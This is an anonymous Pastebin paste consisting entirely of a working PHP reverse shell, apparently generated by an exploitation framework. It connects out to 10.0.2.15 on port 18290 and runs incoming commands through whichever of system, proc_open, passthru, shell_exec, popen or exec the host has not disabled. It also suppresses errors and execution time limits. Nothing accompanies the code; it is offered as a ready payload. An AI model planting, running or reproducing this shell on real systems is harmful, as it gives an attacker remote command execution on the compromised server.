Advertisement
Guest User

Untitled

a guest
Jan 16th, 2018
81
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.10 KB | None | 0 0
  1. /*<?php /**/
  2. @error_reporting(0);
  3. @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);
  4. $dis=@ini_get('disable_functions');
  5. if(!empty($dis)){
  6. $dis=preg_replace('/[, ]+/', ',', $dis);
  7. $dis=explode(',', $dis);
  8. $dis=array_map('trim', $dis);
  9. }else{
  10. $dis=array();
  11. }
  12.  
  13. $ipaddr='10.0.2.15';
  14. $port=18290;
  15.  
  16. if(!function_exists('WaPMqMcaakqELu')){
  17. function WaPMqMcaakqELu($c){
  18. global $dis;
  19.  
  20. if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
  21. $c=$c." 2>&1\n";
  22. }
  23. $uPTriWX='is_callable';
  24. $sJlWsUs='in_array';
  25.  
  26. if($uPTriWX('system')and!$sJlWsUs('system',$dis)){
  27. ob_start();
  28. system($c);
  29. $o=ob_get_contents();
  30. ob_end_clean();
  31. }else
  32. if($uPTriWX('proc_open')and!$sJlWsUs('proc_open',$dis)){
  33. $handle=proc_open($c,array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes);
  34. $o=NULL;
  35. while(!feof($pipes[1])){
  36. $o.=fread($pipes[1],1024);
  37. }
  38. @proc_close($handle);
  39. }else
  40. if($uPTriWX('passthru')and!$sJlWsUs('passthru',$dis)){
  41. ob_start();
  42. passthru($c);
  43. $o=ob_get_contents();
  44. ob_end_clean();
  45. }else
  46. if($uPTriWX('shell_exec')and!$sJlWsUs('shell_exec',$dis)){
  47. $o=shell_exec($c);
  48. }else
  49. if($uPTriWX('popen')and!$sJlWsUs('popen',$dis)){
  50. $fp=popen($c,'r');
  51. $o=NULL;
  52. if(is_resource($fp)){
  53. while(!feof($fp)){
  54. $o.=fread($fp,1024);
  55. }
  56. }
  57. @pclose($fp);
  58. }else
  59. if($uPTriWX('exec')and!$sJlWsUs('exec',$dis)){
  60. $o=array();
  61. exec($c,$o);
  62. $o=join(chr(10),$o).chr(10);
  63. }else
  64. {
  65. $o=0;
  66. }
  67.  
  68. return $o;
  69. }
  70. }
  71. $nofuncs='no exec functions';
  72. if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){
  73. $s=@fsockopen("tcp://10.0.2.15",$port);
  74. while($c=fread($s,2048)){
  75. $out = '';
  76. if(substr($c,0,3) == 'cd '){
  77. chdir(substr($c,3,-1));
  78. } else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
  79. break;
  80. }else{
  81. $out=WaPMqMcaakqELu(substr($c,0,-1));
  82. if($out===false){
  83. fwrite($s,$nofuncs);
  84. break;
  85. }
  86. }
  87. fwrite($s,$out);
  88. }
  89. fclose($s);
  90. }else{
  91. $s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
  92. @socket_connect($s,$ipaddr,$port);
  93. @socket_write($s,"socket_create");
  94. while($c=@socket_read($s,2048)){
  95. $out = '';
  96. if(substr($c,0,3) == 'cd '){
  97. chdir(substr($c,3,-1));
  98. } else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
  99. break;
  100. }else{
  101. $out=WaPMqMcaakqELu(substr($c,0,-1));
  102. if($out===false){
  103. @socket_write($s,$nofuncs);
  104. break;
  105. }
  106. }
  107. @socket_write($s,$out,strlen($out));
  108. }
  109. @socket_close($s);
  110. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement